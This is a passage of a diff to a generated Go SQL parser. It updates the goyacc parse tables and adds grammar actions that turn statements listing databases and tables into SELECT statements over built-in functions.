107, 254, 6, 189, 170, 48, - 85, 110, 291, 246, 197, 245, 223, 197, 19, 197, - 197, 197, 296, 302, 276, 274, 295, 247, 224, 198, - 292, 260, 286, 277, 82, 275, 240, 84, 222, 78, - 163, 97, 93, 220, 95, 96, 212, 211, 261, 98, - 65, 88, 89, 90, 91, 92, 67, 161, 133, 196, - 119, 83, 256, 219, 216, 142, 87, 112, 142, 126, - 172, 143, 141, 137, 138, 139, 121, 118, 140, 127, - 128, 130, 129, 82, 106, 21, 84, 105, 280, 319, - 97, 93, 313, 95, 96, 279, 68, 223, 98, 155, - 88, 89, 90, 91, 92, 67, 108, 133, 152, 166, - 83, 167, 133, 162, 156, 87, 132, 213, 174, 175, - 176, 177, 178, 179, 197, 164, 114, 68, 127, 128, - 130, 129, 187, 190, 67, 130, 129, 119, 101, 133, - 63, 273, 157, 68, 272, 191, 185, 131, 132, 204, - 67, 279, 251, 202, 192, 242, 205, 209, 214, 210, - 127, 128, 130, 129, 117, 77, 184, 186, 207, 203, - 206, 53, 68, 218, 215, 151, 221, 28, 29, 267, - 253, 227, 116, 111, 133, 195, 194, 193, 171, 173, - 168, 231, 131, 132, 120, 165, 233, 144, 122, 100, - 71, 239, 171, 69, 37, 127, 128, 130, 129, 55, - 190, 52, 47, 158, 252, 238, 136, 99, 248, 290, - 217, 258, 243, 289, 54, 135, 249, 250, 133, 262, - 133, 271, 43, 70, 257, 266, 131, 132, 270, 263, - 264, 124, 125, 27, 61, 182, 181, 190, 183, 127, - 128, 130, 129, 180, 38, 321, 322, 305, 230, 281, - 200, 312, 299, 282, 284, 162, 285, 287, 108, 42, - 298, 265, 113, 35, 40, 208, 19, 293, 310, 303, - 294, 301, 300, 59, 228, 226, 22, 34, 33, 306, - 268, 225, 308, 148, 44, 45, 146, 147, 311, 145, - 314, 309, 232, 123, 72, 317, 318, 315, 19, 201, - 82, 2, 323, 84, 46, 324, 73, 97, 93, 32, - 95, 96, 10, 12, 11, 98, 104, 88, 89, 90, - 91, 92, 67, 41, 160, 241, 30, 83, 31, 13, - 76, 75, 87, 102, 103, 154, 7, 23, 8, 9, - 14, 15, 36, 20, 16, 17, 278, 24, 26, 25, - 19, 50, 51, 109, 134, 269, 288, 304, 56, 57, - 58, 316, 244, 283, 81, 80, 297, 237, 236, 234, - 74, 49, 60, 39, 64, 62, 86, 307, 149, 169, - 18, 5, 4, 3, 1, + 82, 323, 69, 202, 118, 232, 156, 258, 262, 97, + 162, 153, 191, 238, 110, 257, 6, 192, 173, 51, + 88, 113, 294, 249, 200, 248, 226, 200, 20, 305, + 200, 200, 299, 200, 279, 277, 298, 81, 250, 227, + 295, 201, 263, 289, 85, 280, 278, 87, 243, 225, + 223, 100, 96, 166, 19, 215, 214, 98, 99, 264, + 22, 199, 101, 68, 91, 92, 93, 94, 95, 70, + 164, 259, 222, 219, 86, 145, 175, 122, 146, 90, + 115, 85, 129, 136, 87, 145, 140, 141, 100, 96, + 144, 143, 142, 124, 98, 99, 121, 109, 108, 101, + 322, 91, 92, 93, 94, 95, 70, 130, 131, 133, + 132, 86, 158, 136, 283, 316, 90, 136, 282, 226, + 216, 155, 111, 200, 170, 136, 165, 159, 134, 135, + 117, 177, 178, 179, 180, 181, 182, 135, 167, 133, + 132, 130, 131, 133, 132, 190, 193, 71, 189, 130, + 131, 133, 132, 122, 70, 71, 71, 104, 194, 188, + 66, 160, 207, 70, 276, 275, 205, 195, 169, 208, + 212, 85, 213, 254, 87, 80, 245, 217, 100, 96, + 282, 210, 206, 209, 98, 99, 221, 218, 187, 101, + 120, 91, 92, 93, 94, 95, 70, 29, 30, 71, + 154, 86, 270, 256, 234, 56, 90, 230, 114, 236, + 198, 119, 197, 196, 242, 174, 176, 171, 168, 147, + 125, 103, 74, 193, 224, 72, 174, 255, 38, 58, + 102, 251, 136, 55, 261, 246, 50, 161, 136, 252, + 253, 241, 265, 134, 135, 40, 41, 260, 269, 134, + 135, 211, 266, 267, 127, 128, 130, 131, 133, 132, + 193, 57, 130, 131, 133, 132, 28, 20, 139, 293, + 220, 292, 284, 123, 274, 184, 285, 138, 165, 288, + 290, 273, 183, 136, 20, 185, 73, 46, 186, 64, + 296, 39, 308, 19, 304, 303, 324, 325, 233, 203, + 45, 315, 309, 302, 287, 311, 10, 12, 11, 111, + 19, 314, 301, 317, 268, 116, 36, 43, 320, 321, + 318, 313, 306, 13, 163, 326, 47, 48, 327, 297, + 7, 62, 8, 9, 14, 15, 231, 35, 16, 17, + 229, 34, 37, 23, 20, 271, 149, 150, 151, 148, + 76, 107, 228, 2, 24, 312, 235, 126, 75, 59, + 60, 61, 204, 49, 25, 27, 26, 33, 105, 106, + 19, 31, 244, 32, 79, 78, 44, 53, 54, 157, + 21, 281, 112, 137, 272, 291, 307, 319, 247, 286, + 84, 83, 300, 240, 239, 237, 77, 52, 63, 42, + 67, 65, 89, 310, 152, 172, 18, 5, 4, 3, + 1, } var yyPact = [...]int16{ - 328, -1000, -1000, 6, -1000, -1000, -1000, 267, -1000, -1000, - 350, 180, 329, 312, 264, 263, 239, 141, 208, 241, - -1000, 328, -1000, 182, 182, 182, 305, -1000, 149, 361, - 148, 161, 146, 141, 141, 141, 255, -1000, 197, 64, - -1000, -1000, 140, 185, 137, 294, 182, -1000, -1000, 338, - 35, 35, -1000, 136, 66, 331, 7, 4, 231, 120, - 244, -1000, 238, -1000, 53, 119, -1000, -3, 65, -1000, - 143, -4, 135, 293, -1000, 35, 35, -1000, 262, 175, - 168, -1000, 262, 262, -5, -1000, -1000, 262, -1000, -1000, - -1000, -1000, -1000, -8, -1000, -1000, -1000, -1000, -12, -1000, - -9, 134, 284, 282, 278, 112, 112, 349, 262, 69, - -1000, 151, -1000, -23, 80, -1000, -1000, 132, 33, 127, - -1000, 125, -10, 126, -1000, -1000, 175, 262, 262, 262, - 262, 262, 262, 198, 196, 102, -1000, 54, 59, 244, - 86, 262, 262, 112, -1000, 125, 124, 123, 122, -22, - 51, -1000, -52, 220, 300, 175, 349, 120, 262, 349, - 361, 276, 119, -15, 119, -1000, -34, -35, -1000, 44, - -1000, 94, 112, -16, 59, 59, 177, 177, 54, 5, - -1000, 165, 262, -17, -1000, -38, -1000, 131, -43, 24, - 175, -53, -1000, -1000, 277, -1000, 260, 118, 259, 217, - 262, 292, 220, -1000, 175, 155, 119, -45, 330, -1000, - -1000, -1000, -1000, 139, -67, -54, 112, -1000, 54, -14, - -1000, 88, -1000, 262, -1000, 117, -18, -1000, -18, -1000, - 262, 175, -32, 217, 231, -1000, 155, 236, -1000, -1000, - 119, 116, 273, -1000, 183, 79, 76, -1000, -56, -46, - -57, -48, 175, -1000, 78, -1000, 262, 22, 175, -1000, - -1000, 112, -1000, 226, -1000, -23, -1000, -49, -32, 169, - -1000, 164, -71, -51, -1000, -1000, -1000, -1000, -1000, -18, - 251, -55, -59, 234, 223, 349, 119, -58, -1000, -1000, - -1000, -1000, -1000, -1000, 249, -1000, -1000, 215, 262, 109, - 291, -1000, -1000, 247, 220, 222, 175, 19, -1000, 262, - -1000, 217, 109, 109, 175, -1000, 16, 212, -1000, 109, - -1000, -1000, -1000, 212, -1000, + 302, -1000, -1000, -32, -1000, -1000, -1000, 314, -1000, -1000, + 347, 190, 354, 350, 307, 303, 272, 152, 235, 176, + 274, -1000, 302, -1000, 227, 227, 227, 344, -1000, 160, + 367, 157, 185, 153, 152, 152, 152, 293, -1000, 232, + -1000, -1000, 71, -1000, -1000, 149, 228, 146, 338, 227, + -1000, -1000, 362, 23, 23, -1000, 145, 72, 346, 5, + 4, 262, 132, 225, -1000, 271, -1000, 44, 135, -1000, + 3, 68, -1000, 212, 0, 144, 337, -1000, 23, 23, + -1000, 113, 175, 210, -1000, 113, 113, -1, -1000, -1000, + 113, -1000, -1000, -1000, -1000, -1000, -3, -1000, -1000, -1000, + -1000, -8, -1000, -15, 143, 324, 322, 323, 124, 124, + 373, 113, 75, -1000, 162, -1000, -23, 80, -1000, -1000, + 142, 79, 141, -1000, 139, -17, 140, -1000, -1000, 175, + 113, 113, 113, 113, 113, 113, 217, 226, 111, -1000, + 62, 50, 225, 54, 113, 113, 124, -1000, 139, 137, + 136, 134, -33, 37, -1000, -53, 249, 343, 175, 373, + 132, 113, 373, 367, 242, 135, -18, 135, -1000, -38, + -39, -1000, 34, -1000, 100, 124, -20, 50, 50, 220, + 220, 62, 20, -1000, 205, 113, -21, -1000, -44, -1000, + 169, -45, 33, 175, -55, -1000, -1000, 328, -1000, 305, + 131, 301, 247, 113, 336, 249, -1000, 175, 168, 135, + -46, 357, -1000, -1000, -1000, -1000, 150, -70, -56, 124, + -1000, 62, -14, -1000, 96, -1000, 113, -1000, 127, -22, + -1000, -22, -1000, 113, 175, -34, 247, 262, -1000, 168, + 269, -1000, -1000, 135, 126, 318, -1000, 216, 87, 86, + -1000, -59, -48, -60, -49, 175, -1000, 94, -1000, 113, + 32, 175, -1000, -1000, 124, -1000, 256, -1000, -23, -1000, + -51, -34, 207, -1000, 204, -74, -54, -1000, -1000, -1000, + -1000, -1000, -22, 290, -58, -62, 266, 254, 373, 135, + -65, -1000, -1000, -1000, -1000, -1000, -1000, 282, -1000, -1000, + 240, 113, 123, 335, -1000, -1000, 280, 249, 252, 175, + 29, -1000, 113, -1000, 247, 123, 123, 175, -1000, 14, + 243, -1000, 123, -1000, -1000, -1000, 243, -1000, } var yyPgo = [...]int16{ - 0, 404, 321, 403, 402, 401, 16, 400, 399, 18, - 11, 8, 398, 397, 15, 7, 17, 12, 396, 9, - 20, 395, 394, 2, 393, 392, 10, 344, 19, 391, - 390, 175, 389, 13, 388, 387, 0, 14, 386, 385, - 384, 383, 3, 5, 382, 4, 381, 377, 1, 6, - 279, 376, 375, 374, 21, 373, 366, 363, + 0, 410, 353, 409, 408, 407, 16, 406, 405, 18, + 11, 8, 404, 403, 15, 7, 17, 12, 402, 9, + 20, 401, 400, 2, 399, 398, 10, 324, 19, 397, + 396, 175, 395, 13, 394, 393, 0, 14, 392, 391, + 390, 389, 3, 5, 388, 4, 387, 386, 1, 6, + 300, 385, 384, 383, 21, 382, 381, 380, } var yyR1 = [...]int8{ @@ -355,15 +362,15 @@ var yyR1 = [...]int8{ 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 8, 8, 9, 44, 44, 44, - 51, 51, 52, 52, 52, 6, 6, 7, 25, 25, - 24, 24, 21, 21, 22, 22, 20, 20, 20, 23, - 23, 26, 26, 26, 26, 27, 28, 29, 29, 29, - 30, 30, 30, 31, 31, 32, 32, 33, 33, 34, - 35, 35, 37, 37, 41, 41, 38, 38, 42, 42, - 43, 43, 47, 47, 49, 49, 46, 46, 48, 48, - 48, 45, 45, 45, 36, 36, 36, 36, 36, 36, - 36, 36, 39, 39, 39, 39, 53, 53, 40, 40, - 40, 40, 40, 40, 40, 40, + 51, 51, 52, 52, 52, 6, 6, 6, 6, 7, + 25, 25, 24, 24, 21, 21, 22, 22, 20, 20, + 20, 23, 23, 26, 26, 26, 26, 27, 28, 29, + 29, 29, 30, 30, 30, 31, 31, 32, 32, 33, + 33, 34, 35, 35, 37, 37, 41, 41, 38, 38, + 42, 42, 43, 43, 47, 47, 49, 49, 46, 46, + 48, 48, 48, 45, 45, 45, 36, 36, 36, 36, + 36, 36, 36, 36, 39, 39, 39, 39, 53, 53, + 40, 40, 40, 40, 40, 40, 40, 40, } var yyR2 = [...]int8{ @@ -374,87 +381,87 @@ var yyR2 = [...]int8{ 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, - 0, 1, 0, 1, 2, 1, 4, 13, 0, 1, - 0, 1, 1, 1, 2, 4, 1, 4, 4, 1, - 3, 3, 4, 2, 6, 1, 2, 0, 2, 2, - 0, 2, 2, 2, 1, 0, 1, 1, 2, 6, - 0, 1, 0, 2, 0, 3, 0, 2, 0, 2, - 0, 2, 0, 3, 0, 4, 2, 4, 0, 1, - 1, 0, 1, 2, 1, 1, 2, 2, 4, 4, - 6, 6, 1, 1, 3, 3, 0, 1, 3, 3, - 3, 3, 3, 3, 3, 4, + 0, 1, 0, 1, 2, 1, 4, 2, 2, 13, + 0, 1, 0, 1, 1, 1, 2, 4, 1, 4, + 4, 1, 3, 3, 4, 2, 6, 1, 2, 0, + 2, 2, 0, 2, 2, 2, 1, 0, 1, 1, + 2, 6, 0, 1, 0, 2, 0, 3, 0, 2, + 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, + 0, 1, 1, 0, 1, 2, 1, 1, 2, 2, + 4, 4, 6, 6, 1, 1, 3, 3, 0, 1, + 3, 3, 3, 3, 3, 3, 3, 4, } var yyChk = [...]int16{ -1000, -1, -2, -3, -4, -5, -6, 28, 30, 31, - 4, 6, 5, 21, 32, 33, 36, 37, -7, 42, - -57, 89, 29, 7, 17, 19, 18, 73, 7, 8, - 17, 19, 17, 34, 34, 44, -27, 73, 56, -24, - 43, -2, -50, 60, -50, -50, 19, 73, -28, -29, - 10, 11, 73, 20, 73, 73, -27, -27, -27, 38, - -25, 57, -21, 86, -22, -20, -23, 80, 73, 73, - 58, 73, 20, -50, -30, 13, 12, -31, 14, -36, - -39, -40, 58, 85, 61, -20, -18, 90, 75, 76, - 77, 78, 79, 66, -19, 68, 69, 65, 73, -31, - 73, 82, 22, 23, 5, 90, 90, -37, 47, -55, - -54, 73, -6, 44, 83, -45, 73, 55, 90, 82, - 61, 90, 73, 20, -31, -31, -36, 84, 85, 87, - 86, 71, 72, 63, -53, 67, 58, -36, -36, 90, - -36, 90, 90, 90, 73, 25, 24, 25, 25, -12, - -10, 73, -10, -49, 6, -36, -37, 83, 72, -26, - -27, 90, -19, 73, -20, 73, 86, -23, 73, -8, - -9, 73, 90, 73, -36, -36, -36, -36, -36, -36, - 65, 58, 59, 62, 74, -6, 91, -36, -17, -16, - -36, -10, -9, 73, 73, 73, 91, 83, 91, -42, - 50, 19, -49, -54, -36, -49, -28, -6, 9, -45, - -45, 91, 91, 83, 74, -10, 90, 65, -36, 90, - 91, 55, 91, 83, 91, 24, 35, 73, 35, -43, - 51, -36, 20, -42, -32, -33, -34, -35, 70, -45, - 91, 15, 26, -9, -44, 92, 90, 91, -10, -6, - -16, 74, -36, 73, -14, -15, 90, -14, -36, -11, - 73, 90, -43, -37, -33, 45, -45, 73, 27, -52, - 65, 58, 75, 75, 91, 91, 91, 91, -56, 83, - 20, -17, -10, -41, 48, -26, 91, -11, -51, 64, - 65, 93, 91, -15, 39, 91, 91, -38, 46, 49, - -49, -45, 91, 40, -47, 52, -36, -13, -23, 20, - 41, -42, 49, 83, -36, -43, -46, -23, -23, 83, - -48, 53, 54, -23, -48, + 4, 6, 5, 21, 32, 33, 36, 37, -7, 68, + 42, -57, 92, 29, 7, 17, 19, 18, 76, 7, + 8, 17, 19, 17, 34, 34, 44, -27, 76, 56, + 69, 70, -24, 43, -2, -50, 60, -50, -50, 19, + 76, -28, -29, 10, 11, 76, 20, 76, 76, -27, + -27, -27, 38, -25, 57, -21, 89, -22, -20, -23, + 83, 76, 76, 58, 76, 20, -50, -30, 13, 12, + -31, 14, -36, -39, -40, 58, 88, 61, -20, -18, + 93, 78, 79, 80, 81, 82, 66, -19, 71, 72, + 65, 76, -31, 76, 85, 22, 23, 5, 93, 93, + -37, 47, -55, -54, 76, -6, 44, 86, -45, 76, + 55, 93, 85, 61, 93, 76, 20, -31, -31, -36, + 87, 88, 90, 89, 74, 75, 63, -53, 67, 58, + -36, -36, 93, -36, 93, 93, 93, 76, 25, 24, + 25, 25, -12, -10, 76, -10, -49, 6, -36, -37, + 86, 75, -26, -27, 93, -19, 76, -20, 76, 89, + -23, 76, -8, -9, 76, 93, 76, -36, -36, -36, + -36, -36, -36, 65, 58, 59, 62, 77, -6, 94, + -36, -17, -16, -36, -10, -9, 76, 76, 76, 94, + 86, 94, -42, 50, 19, -49, -54, -36, -49, -28, + -6, 9, -45, -45, 94, 94, 86, 77, -10, 93, + 65, -36, 93, 94, 55, 94, 86, 94, 24, 35, + 76, 35, -43, 51, -36, 20, -42, -32, -33, -34, + -35, 73, -45, 94, 15, 26, -9, -44, 95, 93, + 94, -10, -6, -16, 77, -36, 76, -14, -15, 93, + -14, -36, -11, 76, 93, -43, -37, -33, 45, -45, + 76, 27, -52, 65, 58, 78, 78, 94, 94, 94, + 94, -56, 86, 20, -17, -10, -41, 48, -26, 94, + -11, -51, 64, 65, 96, 94, -15, 39, 94, 94, + -38, 46, 49, -49, -45, 94, 40, -47, 52, -36, + -13, -23, 20, 41, -42, 49, 86, -36, -43, -46, + -23, -23, 86, -48, 53, 54, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 75, 80, - 2, 5, 9, 27, 27, 27, 0, 14, 0, 97, - 0, 0, 0, 0, 0, 0, 0, 95, 78, 0, - 81, 3, 0, 0, 0, 0, 27, 15, 16, 100, - 0, 0, 18, 0, 0, 0, 0, 0, 112, 0, - 0, 79, 0, 82, 83, 131, 86, 0, 89, 13, - 0, 0, 0, 0, 96, 0, 0, 98, 0, 104, - -2, 135, 0, 0, 0, 142, 143, 0, 53, 54, - 55, 56, 57, 0, 59, 60, 61, 62, 89, 99, - 0, 0, 0, 0, 0, 40, 0, 124, 0, 112, - 37, 0, 76, 0, 0, 84, 132, 0, 0, 0, - 28, 0, 0, 0, 101, 102, 103, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 147, 136, 137, 0, - 0, 0, 49, 0, 22, 0, 0, 0, 0, 0, - 41, 45, 0, 118, 0, 113, 124, 0, 0, 124, - 97, 0, 131, 95, 131, 133, 0, 0, 90, 0, - 64, 0, 0, 0, 148, 149, 150, 151, 152, 153, - 154, 0, 0, 0, 145, 0, 144, 0, 0, 50, - 51, 0, 23, 24, 0, 26, 0, 0, 0, 120, - 0, 0, 118, 38, 39, -2, 131, 0, 0, 93, - 85, 87, 88, 0, 67, 0, 0, 155, 138, 0, - 139, 0, 63, 0, 21, 0, 0, 46, 0, 33, - 0, 119, 0, 120, 112, 106, -2, 0, 111, 91, - 131, 0, 0, 65, 72, 0, 0, 19, 0, 0, - 0, 0, 52, 25, 35, 42, 49, 32, 121, 125, - 29, 0, 34, 114, 108, 0, 92, 0, 0, 70, - 73, 0, 0, 0, 20, 140, 141, 58, 31, 0, - 0, 0, 0, 116, 0, 124, 131, 0, 66, 71, - 74, 68, 69, 43, 0, 44, 30, 122, 0, 0, - 0, 94, 17, 0, 118, 0, 117, 115, 47, 0, - 36, 120, 0, 0, 109, 77, 123, 128, 48, 0, - 126, 129, 130, 128, 127, + 0, 0, 0, 0, 0, 0, 0, 0, 75, 0, + 82, 2, 5, 9, 27, 27, 27, 0, 14, 0, + 99, 0, 0, 0, 0, 0, 0, 0, 97, 80, + 77, 78, 0, 83, 3, 0, 0, 0, 0, 27, + 15, 16, 102, 0, 0, 18, 0, 0, 0, 0, + 0, 114, 0, 0, 81, 0, 84, 85, 133, 88, + 0, 91, 13, 0, 0, 0, 0, 98, 0, 0, + 100, 0, 106, -2, 137, 0, 0, 0, 144, 145, + 0, 53, 54, 55, 56, 57, 0, 59, 60, 61, + 62, 91, 101, 0, 0, 0, 0, 0, 40, 0, + 126, 0, 114, 37, 0, 76, 0, 0, 86, 134, + 0, 0, 0, 28, 0, 0, 0, 103, 104, 105, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 149, + 138, 139, 0, 0, 0, 49, 0, 22, 0, 0, + 0, 0, 0, 41, 45, 0, 120, 0, 115, 126, + 0, 0, 126, 99, 0, 133, 97, 133, 135, 0, + 0, 92, 0, 64, 0, 0, 0, 150, 151, 152, + 153, 154, 155, 156, 0, 0, 0, 147, 0, 146, + 0, 0, 50, 51, 0, 23, 24, 0, 26, 0, + 0, 0, 122, 0, 0, 120, 38, 39, -2, 133, + 0, 0, 95, 87, 89, 90, 0, 67, 0, 0, + 157, 140, 0, 141, 0, 63, 0, 21, 0, 0, + 46, 0, 33, 0, 121, 0, 122, 114, 108, -2, + 0, 113, 93, 133, 0, 0, 65, 72, 0, 0, + 19, 0, 0, 0, 0, 52, 25, 35, 42, 49, + 32, 123, 127, 29, 0, 34, 116, 110, 0, 94, + 0, 0, 70, 73, 0, 0, 0, 20, 142, 143, + 58, 31, 0, 0, 0, 0, 118, 0, 126, 133, + 0, 66, 71, 74, 68, 69, 43, 0, 44, 30, + 124, 0, 0, 0, 96, 17, 0, 120, 0, 119, + 117, 47, 0, 36, 122, 0, 0, 111, 79, 125, + 130, 48, 0, 128, 131, 132, 130, 129, } var yyTok1 = [...]int8{ @@ -462,12 +469,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 90, 91, 86, 84, 83, 85, 88, 87, 3, 3, + 93, 94, 89, 87, 86, 88, 91, 90, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 92, 3, 93, + 3, 95, 3, 96, } var yyTok2 = [...]int8{ @@ -479,7 +486,7 @@ var yyTok2 = [...]int8{ 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, - 82, 89, + 82, 83, 84, 85, 92, } var yyTok3 = [...]int8{ @@ -1186,6 +1193,20 @@ yydefault: } } case 77: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.stmt = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, + } + } + case 78: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.stmt = &SelectStmt{ + ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, + } + } + case 79: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1202,397 +1223,397 @@ yydefault: offset: yyDollar[13].exp, } } - case 78: + case 80: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 79: + case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 80: + case 82: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 81: + case 83: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 82: + case 84: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 83: + case 85: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 84: + case 86: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 85: + case 87: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 86: + case 88: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 87: + case 89: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 88: + case 90: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 89: + case 91: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 90: + case 92: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 91: + case 93: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 92: + case 94: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 93: + case 95: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 94: + case 96: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 95: + case 97: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 96: + case 98: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 97: + case 99: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 98: + case 100: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 99: + case 101: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 100: + case 102: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 101: + case 103: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 102: + case 104: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 103: + case 105: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 104: + case 106: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 105: + case 107: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 106: + case 108: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 107: + case 109: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 108: + case 110: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 109: + case 111: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 110: + case 112: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 111: + case 113: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 112: + case 114: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 113: + case 115: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 114: + case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 115: + case 117: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 116: + case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 117: + case 119: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 118: + case 120: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 119: + case 121: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 120: + case 122: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 121: + case 123: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 122: + case 124: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 123: + case 125: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 124: + case 126: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 125: + case 127: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 126: + case 128: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].col, descOrder: yyDollar[2].opt_ord}} } - case 127: + case 129: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].col, descOrder: yyDollar[4].opt_ord}) } - case 128: + case 130: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 129: + case 131: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 130: + case 132: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 131: + case 133: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 132: + case 134: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 133: + case 135: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 134: + case 136: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 135: + case 137: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 136: + case 138: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 137: + case 